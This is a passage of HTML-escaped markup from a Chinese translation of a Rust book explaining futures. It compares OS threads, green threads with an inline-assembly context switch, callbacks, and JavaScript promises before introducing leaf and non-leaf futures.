&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.github.io&#x2F;book-exploring-async-basics&#x2F;&quot;&gt;The Node Experiment - Exploring Async Basics with Rust 节点实验——用Rust探索异步基础&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamsonbooks.gitbook.io&#x2F;epoll-kqueue-iocp-explained&#x2F;&quot;&gt;Epoll, Kqueue and IOCP Explained with Rust 用 Rust 解释 Epoll，Kqueue 和 IOCP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;gan-xie&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html#%E6%84%9F%E8%B0%A2&quot;&gt;感谢&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;我想借此机会感谢 mio，tokio，async std，Futures，libc，crossbeam 背后的人们，他们支撑着这个异步生态系统，却很少在我眼中得到足够的赞扬。&lt;&#x2F;p&gt;
&lt;p&gt;特别感谢 jonhoo，他对我这本书的初稿给予了一些有价值的反馈。 他还没有读完最终的成品，但是我们应该向他表示感谢。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bei-jing-zi-liao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#%E8%83%8C%E6%99%AF%E8%B5%84%E6%96%99&quot;&gt;背景资料&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在我们深入研究 Futures in Rust 的细节之前，让我们快速了解一下处理并发编程的各种方法，以及每种方法的优缺点。&lt;&#x2F;p&gt;
&lt;p&gt;同时当涉及到并发性时,我们也会解释为什么这么做，这将使我们更容易深入理解Futures.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了好玩，我在大多数示例中添加了一小段可运行代码。 如果你像我一样，事情会变得更有趣，也许你会看到一些你从未见过的东西。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;xian-cheng&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#%E7%BA%BF%E7%A8%8B&quot;&gt;线程&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;现在，实现这一点的一个方法就是让操作系统为我们处理好一切。 我们只需为每个要完成的任务生成一个新的操作系统线程，并像通常那样编写代码。&lt;&#x2F;p&gt;
&lt;p&gt;我们用来处理并发性的运行时就是操作系统本身。&lt;&#x2F;p&gt;
&lt;p&gt;优点:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;简单&lt;&#x2F;li&gt;
&lt;li&gt;易用&lt;&#x2F;li&gt;
&lt;li&gt;在任务之间切换相当快&lt;&#x2F;li&gt;
&lt;li&gt;不需要付出即可得到并行支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;缺点:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;操作系统级线程的堆栈相当大。 如果同时有许多任务等待(就像在负载很重的 web 服务器中那样) ，那么内存将很快耗尽&lt;&#x2F;li&gt;
&lt;li&gt;这涉及到很多系统调用。当任务数量很高时，这可能会非常昂贵&lt;&#x2F;li&gt;
&lt;li&gt;操作系统有很多事情需要处理。 它可能不会像你希望的那样快速地切换回线程&lt;&#x2F;li&gt;
&lt;li&gt;某些系统可能不支持线程&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;在 Rust 中使用操作系统线程看起来像这样:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;use std::thread;

fn main() {
    println!(&amp;quot;So we start the program here!&amp;quot;);
    let t1 = thread::spawn(move || {
        thread::sleep(std::time::Duration::from_millis(200));
        println!(&amp;quot;We create tasks which gets run when they&amp;#x27;re finished!&amp;quot;);
    });

    let t2 = thread::spawn(move || {
        thread::sleep(std::time::Duration::from_millis(100));
        println!(&amp;quot;We can even chain callbacks...&amp;quot;);
        let t3 = thread::spawn(move || {
            thread::sleep(std::time::Duration::from_millis(50));
            println!(&amp;quot;...like this!&amp;quot;);
        });
        t3.join().unwrap();
    });
    println!(&amp;quot;While our tasks are executing we can do other stuff here.&amp;quot;);

    t1.join().unwrap();
    t2.join().unwrap();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;操作系统线程肯定有一些相当大的优势。 这也是为什么所有这些讨论“异步”和并发性把线程摆在首位？&lt;&#x2F;p&gt;
&lt;p&gt;首先。 为了使计算机有效率，它们需要多任务处理。 一旦你开始深入研究(比如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;async-await&#x2F;&quot;&gt;操作系统是如何工作的&lt;&#x2F;a&gt;) ，你就会发现并发无处不在。 这是我们做任何事情的基础。&lt;&#x2F;p&gt;
&lt;p&gt;其次，我们有网络。&lt;&#x2F;p&gt;
&lt;p&gt;Webservers 是关于I&#x2F;O和处理小任务(请求)的。 当小任务的数量很大时，由于它们所需的内存和创建新线程所涉及的开销，就不适合今天的操作系统线程。&lt;&#x2F;p&gt;
&lt;p&gt;如果负载是可变的，那么问题就更大了，这意味着程序在任何时间点的当前任务数量都是不可预测的。 这就是为什么今天你会看到如此多的异步web框架和数据库驱动程序。&lt;&#x2F;p&gt;
&lt;p&gt;然而有大量的问题,标准的线程通常是正确的解决方案。 因此在使用异步库之前，请三思而后行。&lt;&#x2F;p&gt;
&lt;p&gt;现在，让我们来看看多任务处理的其他选项。 它们都有一个共同点，那就是它们实现了一种多任务处理的方式，即拥有一个“用户界面”运行时:&lt;&#x2F;p&gt;
&lt;h4 id=&quot;lu-se-xian-cheng-green-threads&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#%E7%BB%BF%E8%89%B2%E7%BA%BF%E7%A8%8Bgreen-threads&quot;&gt;绿色线程(Green threads)&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;绿色线程使用与操作系统相同的机制，为每个任务创建一个线程，设置一个堆栈，保存 CPU 状态，并通过“上下文切换”从一个任务(线程)跳转到另一个任务(线程)。&lt;&#x2F;p&gt;
&lt;p&gt;我们将控制权交给调度程序(在这样的系统中，调度程序是运行时的核心部分) ，然后调度程序继续运行不同的任务。&lt;&#x2F;p&gt;
&lt;p&gt;Rust曾经支持绿色线程，但他们它达到1.0之前被删除了， 执行状态存储在每个栈中，因此在这样的解决方案中不需要&lt;code&gt;async&lt;&#x2F;code&gt;,&lt;code&gt;await&lt;&#x2F;code&gt;,&lt;code&gt;Futures&lt;&#x2F;code&gt; 或者&lt;code&gt;Pin&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;典型的流程是这样的:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;运行一些非阻塞代码&lt;&#x2F;li&gt;
&lt;li&gt;对某些外部资源进行阻塞调用&lt;&#x2F;li&gt;
&lt;li&gt;跳转到main”线程，该线程调度一个不同的线程来运行，并“跳转”到该栈中&lt;&#x2F;li&gt;
&lt;li&gt;在新线程上运行一些非阻塞代码，直到新的阻塞调用或任务完成&lt;&#x2F;li&gt;
&lt;li&gt;“跳转”回到“main&quot;线程 ，调度一个新线程，这个新线程的状态已经是&lt;code&gt;Ready&lt;&#x2F;code&gt;,然后跳转到该线程&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这些“跳转”被称为上下文切换，当你阅读这篇文章的时候，你的操作系统每秒钟都会做很多次。&lt;&#x2F;p&gt;
&lt;p&gt;优点:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;栈大小可能需要增长,解决这个问题不容易,并且会有成本.&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#go%E4%B8%AD%E7%9A%84%E6%A0%88&quot;&gt;11&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;:  栈拷贝,指针等问题&lt;&#x2F;li&gt;
&lt;li&gt;它不是一个零成本抽象(这也是Rust早期有绿色线程,后来删除的原因之一)&lt;&#x2F;li&gt;
&lt;li&gt;如果您想要支持许多不同的平台，就很难正确实现&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;一个绿色线程的例子可以是这样的:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;下面的例子是一个改编的例子，来自我之前写的一本&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cfsamson.gitbook.io&#x2F;green-threads-explained-in-200-lines-of-rust&#x2F;&quot;&gt;200行Rust说清绿色线程&lt;&#x2F;a&gt;的 gitbook。 如果你想知道发生了什么，你会发现书中详细地解释了一切。 下面的代码非常不安全，只是为了展示一个真实的例子。 这绝不是为了展示“最佳实践”。 这样我们就能达成共识了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt; #![feature(asm, naked_functions)]
use std::ptr;

const DEFAULT_STACK_SIZE: usize = 1024 * 1024 * 2;
const MAX_THREADS: usize = 4;
static mut RUNTIME: usize = 0;

pub struct Runtime {
    threads: Vec&amp;lt;Thread&amp;gt;,
    current: usize,
}

  #[derive(PartialEq, Eq, Debug)]
enum State {
    Available,
    Running,
    Ready,
}

struct Thread {
    id: usize,
    stack: Vec&amp;lt;u8&amp;gt;,
    ctx: ThreadContext,
    state: State,
    task: Option&amp;lt;Box&amp;lt;dyn Fn()&amp;gt;&amp;gt;,
}

 #[derive(Debug, Default)]
 #[repr(C)]
struct ThreadContext {
    rsp: u64,
    r15: u64,
    r14: u64,
    r13: u64,
    r12: u64,
    rbx: u64,
    rbp: u64,
    thread_ptr: u64,
}

impl Thread {
    fn new(id: usize) -&amp;gt; Self {
        Thread {
            id,
            stack: vec![0_u8; DEFAULT_STACK_SIZE],
            ctx: ThreadContext::default(),
            state: State::Available,
            task: None,
        }
    }
}

impl Runtime {
    pub fn new() -&amp;gt; Self {
        let base_thread = Thread {
            id: 0,
            stack: vec![0_u8; DEFAULT_STACK_SIZE],
            ctx: ThreadContext::default(),
            state: State::Running,
            task: None,
        };

        let mut threads = vec![base_thread];
        threads[0].ctx.thread_ptr = &amp;amp;threads[0] as *const Thread as u64;
        let mut available_threads: Vec&amp;lt;Thread&amp;gt; = (1..MAX_THREADS).map(|i| Thread::new(i)).collect();
        threads.append(&amp;amp;mut available_threads);

        Runtime {
            threads,
            current: 0,
        }
    }

    pub fn init(&amp;amp;self) {
        unsafe {
            let r_ptr: *const Runtime = self;
            RUNTIME = r_ptr as usize;
        }
    }

    pub fn run(&amp;amp;mut self) -&amp;gt; ! {
        while self.t_yield() {}
        std::process::exit(0);
    }

    fn t_return(&amp;amp;mut self) {
        if self.current != 0 {
            self.threads[self.current].state = State::Available;
            self.t_yield();
        }
    }

    fn t_yield(&amp;amp;mut self) -&amp;gt; bool {
        let mut pos = self.current;
        while self.threads[pos].state != State::Ready {
            pos += 1;
            if pos == self.threads.len() {
                pos = 0;
            }
            if pos == self.current {
                return false;
            }
        }

        if self.threads[self.current].state != State::Available {
            self.threads[self.current].state = State::Ready;
        }

        self.threads[pos].state = State::Running;
        let old_pos = self.current;
        self.current = pos;

        unsafe {
            switch(&amp;amp;mut self.threads[old_pos].ctx, &amp;amp;self.threads[pos].ctx);
        }
        true
    }

    pub fn spawn&amp;lt;F: Fn() + &amp;#x27;static&amp;gt;(f: F){
        unsafe {
            let rt_ptr = RUNTIME as *mut Runtime;
            let available = (*rt_ptr)
                .threads
                .iter_mut()
                .find(|t| t.state == State::Available)
                .expect(&amp;quot;no available thread.&amp;quot;);

            let size = available.stack.len();
            let s_ptr = available.stack.as_mut_ptr();
            available.task = Some(Box::new(f));
            available.ctx.thread_ptr = available as *const Thread as u64;
            ptr::write(s_ptr.offset((size - 8) as isize) as *mut u64, guard as u64);
            ptr::write(s_ptr.offset((size - 16) as isize) as *mut u64, call as u64);
            available.ctx.rsp = s_ptr.offset((size - 16) as isize) as u64;
            available.state = State::Ready;
        }
    }
}

fn call(thread: u64) {
    let thread = unsafe { &amp;amp;*(thread as *const Thread) };
    if let Some(f) = &amp;amp;thread.task {
        f();
    }
}

 #[naked]
fn guard() {
    unsafe {
        let rt_ptr = RUNTIME as *mut Runtime;
        let rt = &amp;amp;mut *rt_ptr;
        println!(&amp;quot;THREAD {} FINISHED.&amp;quot;, rt.threads[rt.current].id);
        rt.t_return();
    };
}

pub fn yield_thread() {
    unsafe {
        let rt_ptr = RUNTIME as *mut Runtime;
        (*rt_ptr).t_yield();
    };
}

 #[naked]
 #[inline(never)]
unsafe fn switch(old: *mut ThreadContext, new: *const ThreadContext) {
    asm!(&amp;quot;
        mov     %rsp, 0x00($0)
        mov     %r15, 0x08($0)
        mov     %r14, 0x10($0)
        mov     %r13, 0x18($0)
        mov     %r12, 0x20($0)
        mov     %rbx, 0x28($0)
        mov     %rbp, 0x30($0)

        mov     0x00($1), %rsp
        mov     0x08($1), %r15
        mov     0x10($1), %r14
        mov     0x18($1), %r13
        mov     0x20($1), %r12
        mov     0x28($1), %rbx
        mov     0x30($1), %rbp
        mov     0x38($1), %rdi
        ret
        &amp;quot;
    :
    : &amp;quot;r&amp;quot;(old), &amp;quot;r&amp;quot;(new)
    :
    : &amp;quot;alignstack&amp;quot;
    );
}
 #[cfg(not(windows))]
fn main() {
    let mut runtime = Runtime::new();
    runtime.init();
    Runtime::spawn(|| {
        println!(&amp;quot;I haven&amp;#x27;t implemented a timer in this example.&amp;quot;);
        yield_thread();
        println!(&amp;quot;Finally, notice how the tasks are executed concurrently.&amp;quot;);
    });
    Runtime::spawn(|| {
        println!(&amp;quot;But we can still nest tasks...&amp;quot;);
        Runtime::spawn(|| {
            println!(&amp;quot;...like this!&amp;quot;);
        })
    });
    runtime.run();
}
 #[cfg(windows)]
fn main() {
    let mut runtime = Runtime::new();
    runtime.init();
    Runtime::spawn(|| {
        println!(&amp;quot;I haven&amp;#x27;t implemented a timer in this example.&amp;quot;);
        yield_thread();
        println!(&amp;quot;Finally, notice how the tasks are executed concurrently.&amp;quot;);
    });
    Runtime::spawn(|| {
        println!(&amp;quot;But we can still nest tasks...&amp;quot;);
        Runtime::spawn(|| {
            println!(&amp;quot;...like this!&amp;quot;);
        })
    });
    runtime.run();
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还在坚持阅读本书？ 很好。 如果上面的代码很难理解，不要感到沮丧。 如果不是我自己写的，我可能也会有同样的感觉。 你随时可以回去读,稍后我还会解释。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ji-yu-hui-diao-de-fang-fa&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#%E5%9F%BA%E4%BA%8E%E5%9B%9E%E8%B0%83%E7%9A%84%E6%96%B9%E6%B3%95&quot;&gt;基于回调的方法&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;你可能已经知道我们接下来要谈论Javascript，我想大多数人都知道。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你接触过 Javascript 回调会让你更早患上 PTSD，那么现在闭上眼睛，向下滚动2-3秒。 你会在那里找到一个链接，带你到安全的地方。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;基于回调的方法背后的整个思想就是保存一个指向一组指令的指针，这些指令我们希望以后在以后需要的时候运行。 针对Rust，这将是一个闭包。 在下面的示例中，我们将此信息保存在&lt;code&gt;HashMap&lt;&#x2F;code&gt;中，但这并不是唯一的选项。&lt;&#x2F;p&gt;
&lt;p&gt;不涉及线程作为实现并发性的主要方法的基本思想是其余方法的共同点。 包括我们很快就会讲到的 Rust 今天使用的那个。&lt;&#x2F;p&gt;
&lt;p&gt;优点:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;大多数语言中易于实现&lt;&#x2F;li&gt;
&lt;li&gt;没有上下文切换&lt;&#x2F;li&gt;
&lt;li&gt;相对较低的内存开销(在大多数情况下)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;缺点:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;每个任务都必须保存它以后需要的状态，内存使用量将随着一系列计算中回调的数量线性增长&lt;&#x2F;li&gt;
&lt;li&gt;很难理解，很多人已经知道这就是“回调地狱”&lt;&#x2F;li&gt;
&lt;li&gt;这是一种非常不同的编写程序的方式，需要大量的重写才能从“正常”的程序流转变为使用“基于回调”的程序流&lt;&#x2F;li&gt;
&lt;li&gt;在 Rust 使用这种方法时，任务之间的状态共享是一个难题，因为它的所有权模型&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;一个极其简单的基于回调方法的例子是:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn program_main() {
    println!(&amp;quot;So we start the program here!&amp;quot;);
    set_timeout(200, || {
        println!(&amp;quot;We create tasks with a callback that runs once the task finished!&amp;quot;);
    });
    set_timeout(100, || {
        println!(&amp;quot;We can even chain sub-tasks...&amp;quot;);
        set_timeout(50, || {
            println!(&amp;quot;...like this!&amp;quot;);
        })
    });
    println!(&amp;quot;While our tasks are executing we can do other stuff instead of waiting.&amp;quot;);
}

fn main() {
    RT.with(|rt| rt.run(program_main));
}

use std::sync::mpsc::{channel, Receiver, Sender};
use std::{cell::RefCell, collections::HashMap, thread};

thread_local! {
    static RT: Runtime = Runtime::new();
}

struct Runtime {
    callbacks: RefCell&amp;lt;HashMap&amp;lt;usize, Box&amp;lt;dyn FnOnce() -&amp;gt; ()&amp;gt;&amp;gt;&amp;gt;,
    next_id: RefCell&amp;lt;usize&amp;gt;,
    evt_sender: Sender&amp;lt;usize&amp;gt;,
    evt_reciever: Receiver&amp;lt;usize&amp;gt;,
}

fn set_timeout(ms: u64, cb: impl FnOnce() + &amp;#x27;static) {
    RT.with(|rt| {
        let id = *rt.next_id.borrow();
        *rt.next_id.borrow_mut() += 1;
        rt.callbacks.borrow_mut().insert(id, Box::new(cb));
        let evt_sender = rt.evt_sender.clone();
        thread::spawn(move || {
            thread::sleep(std::time::Duration::from_millis(ms));
            evt_sender.send(id).unwrap();
        });
    });
}

impl Runtime {
    fn new() -&amp;gt; Self {
        let (evt_sender, evt_reciever) = channel();
        Runtime {
            callbacks: RefCell::new(HashMap::new()),
            next_id: RefCell::new(1),
            evt_sender,
            evt_reciever,
        }
    }

    fn run(&amp;amp;self, program: fn()) {
        program();
        for evt_id in &amp;amp;self.evt_reciever {
            let cb = self.callbacks.borrow_mut().remove(&amp;amp;evt_id).unwrap();
            cb();
            if self.callbacks.borrow().is_empty() {
                break;
            }
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们保持这种超级简单的方法，您可能想知道这种方法和使用 OS 线程直接将回调传递给 OS 线程的方法之间有什么区别。 不同之处在于，回调是在同一个线程上运行的。 这个例子中,我们创建的 OS 线程基本上只是用作计时器，但可以表示任何类型的我们将不得不等待的资源。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;cong-hui-diao-dao-cheng-nuo-promises&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;0_background_information.html#%E4%BB%8E%E5%9B%9E%E8%B0%83%E5%88%B0%E6%89%BF%E8%AF%BA-promises&quot;&gt;从回调到承诺 (promises)&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;你现在可能会想，我们什么时候才能谈论未来？&lt;&#x2F;p&gt;
&lt;p&gt;好吧，我们就快到了。你看，&lt;code&gt;promises&lt;&#x2F;code&gt;、&lt;code&gt;futures&lt;&#x2F;code&gt;和其他延迟计算的名称经常被交替使用。&lt;&#x2F;p&gt;
&lt;p&gt;它们之间有形式上的区别，但是我们在这里不会涉及，但是值得解释一下&lt;code&gt;promises&lt;&#x2F;code&gt;，因为它们被广泛使用在 Javascript 中，并且与 Rusts Futures 有很多共同之处。&lt;&#x2F;p&gt;
&lt;p&gt;首先，许多语言都有&lt;code&gt;promises&lt;&#x2F;code&gt;的概念，但我将在下面的例子中使用来自 Javascript 的概念。&lt;&#x2F;p&gt;
&lt;p&gt;承诺是解决回调带来的复杂性的一种方法。&lt;&#x2F;p&gt;
&lt;p&gt;比如,下面的例子:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;setTimer(200, () =&amp;gt; {
  setTimer(100, () =&amp;gt; {
    setTimer(50, () =&amp;gt; {
      console.log(&amp;quot;I&amp;#x27;m the last one&amp;quot;);
    });
  });
});
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以替换为promise:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;function timer(ms) {
    return new Promise((resolve) =&amp;gt; setTimeout(resolve, ms))
}

timer(200)
.then(() =&amp;gt; return timer(100))
.then(() =&amp;gt; return timer(50))
.then(() =&amp;gt; console.log(&amp;quot;I&amp;#x27;m the last one));

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;深入原理可以看到变化更为显著。 您可以看到，promises 返回的状态机可以处于以下三种状态之一: &lt;code&gt;pending&lt;&#x2F;code&gt;、 &lt;code&gt;fulfilled&lt;&#x2F;code&gt; 或 &lt;code&gt;rejected&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;当我们在上面的例子中调用&lt;code&gt;timer (200)&lt;&#x2F;code&gt;时，我们得到一个状态&lt;code&gt;pending&lt;&#x2F;code&gt;的承诺。&lt;&#x2F;p&gt;
&lt;p&gt;由于承诺被重写为状态机，它们还提供了一种更好的语法，允许我们像下面这样编写最后一个示例:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;async function run() {
    await timer(200);
    await timer(100);
    await timer(50);
    console.log(&amp;quot;I&amp;#x27;m the last one&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以将 run 函数视为一个由几个子任务组成的可执行任务。 在每个&lt;code&gt;await&lt;&#x2F;code&gt;点上，它都将控制权交给调度程序(在本例中是众所周知的 Javascript 事件循环)。&lt;&#x2F;p&gt;
&lt;p&gt;一旦其中一个子任务将状态更改为&lt;code&gt;fulfilled&lt;&#x2F;code&gt;或&lt;code&gt;rejected&lt;&#x2F;code&gt;，则计划继续执行下一步。&lt;&#x2F;p&gt;
&lt;p&gt;从语法上讲，Rusts Futures 0.1很像上面的承诺示例，Rusts Futures 0.3很像我们上一个示例中的 async &#x2F; await。&lt;&#x2F;p&gt;
&lt;p&gt;这也是与 Rusts Futures 相似的地方。 我们这样做的原因是通过上面的介绍,更加深刻的理解Rust的Futures。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;为了避免以后的混淆: 有一点你应该知道。 Java script的承诺是立即执行(early evaluated)的。 这意味着一旦它被创建，它就开始运行一个任务。 与此相反,Rust的Futures是延迟执行(lazy evaluated)。 除非轮询(poll)一次,否则什么事都不会发生。https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;introduction.html &quot;Previous chapter&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html &quot;Next chapter&quot;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;gai-shu&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#%E6%A6%82%E8%BF%B0&quot;&gt;概述&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;Rust中并发性的高级介绍&lt;&#x2F;li&gt;
&lt;li&gt;了解 Rust 在使用异步代码时能提供什么，不能提供什么&lt;&#x2F;li&gt;
&lt;li&gt;了解为什么我们需要 Rust 的运行时库&lt;&#x2F;li&gt;
&lt;li&gt;理解“leaf-future”和“non-leaf-future”的区别&lt;&#x2F;li&gt;
&lt;li&gt;了解如何处理 CPU 密集型任务&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;futures&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#futures&quot;&gt;Futures&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;什么是&lt;code&gt;Future&lt;&#x2F;code&gt;? &lt;code&gt;Future&lt;&#x2F;code&gt;是一些将在未来完成的操作。 Rust中的异步实现基于轮询,每个异步任务分成三个阶段:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;轮询阶段(The Poll phase). 一个&lt;code&gt;Future&lt;&#x2F;code&gt;被轮询后,会开始执行,直到被阻塞. 我们经常把轮询一个Future这部分称之为执行器(executor)&lt;&#x2F;li&gt;
&lt;li&gt;等待阶段.  事件源(通常称为reactor)注册等待一个事件发生，并确保当该事件准备好时唤醒相应的&lt;code&gt;Future&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;唤醒阶段.  事件发生,相应的&lt;code&gt;Future&lt;&#x2F;code&gt;被唤醒。 现在轮到执行器(executor),就是第一步中的那个执行器，调度&lt;code&gt;Future&lt;&#x2F;code&gt;再次被轮询，并向前走一步，直到它完成或达到一个阻塞点，不能再向前走, 如此往复,直到最终完成.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;当我们谈论&lt;code&gt;Future&lt;&#x2F;code&gt;的时候，我发现在早期区分&lt;code&gt;non-leaf-future&lt;&#x2F;code&gt;和&lt;code&gt;leaf-future&lt;&#x2F;code&gt;是很有用的，因为实际上它们彼此很不一样。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;leaf-futures&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#leaf-futures&quot;&gt;Leaf futures&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;由运行时创建&lt;code&gt;leaf futures&lt;&#x2F;code&gt;，它就像套接字一样,代表着一种资源.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
&amp;#x2F;&amp;#x2F; stream is a **leaf-future**
let mut stream = tokio::net::TcpStream::connect(&amp;quot;127.0.0.1:3000&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对这些资源的操作，比如套接字上的 Read 操作，将是非阻塞的，并返回一个我们称之为&lt;code&gt;leaf-future&lt;&#x2F;code&gt;的Future.之所以称之为&lt;code&gt;leaf-future&lt;&#x2F;code&gt;,是因为这是我们实际上正在等待的Future.&lt;&#x2F;p&gt;
&lt;p&gt;除非你正在编写一个运行时，否则你不太可能自己实现一个&lt;code&gt;leaf-future&lt;&#x2F;code&gt;，但是我们将在本书中详细介绍它们是如何构造的。&lt;&#x2F;p&gt;
&lt;p&gt;您也不太可能将 &lt;code&gt;leaf-future&lt;&#x2F;code&gt; 传递给运行时，然后单独运行它直到完成，这一点您可以通过阅读下一段来理解。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;non-leaf-futures&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;1_futures_in_rust.html#non-leaf-futures&quot;&gt;Non-leaf-futures&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Non-leaf-futures指的是那些我们用&lt;code&gt;async&lt;&#x2F;code&gt;关键字创建的Future.&lt;&#x2F;p&gt;
&lt;p&gt;异步程序的大部分是Non-leaf-futures，这是一种可暂停的计算。 这是一个重要的区别，因为这些&lt;code&gt;Future&lt;&#x2F;code&gt;代表一组操作。 通常，这样的任务由&lt;code&gt;await&lt;&#x2F;code&gt; 一系列&lt;code&gt;leaf-future&lt;&#x2F;code&gt;组成.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
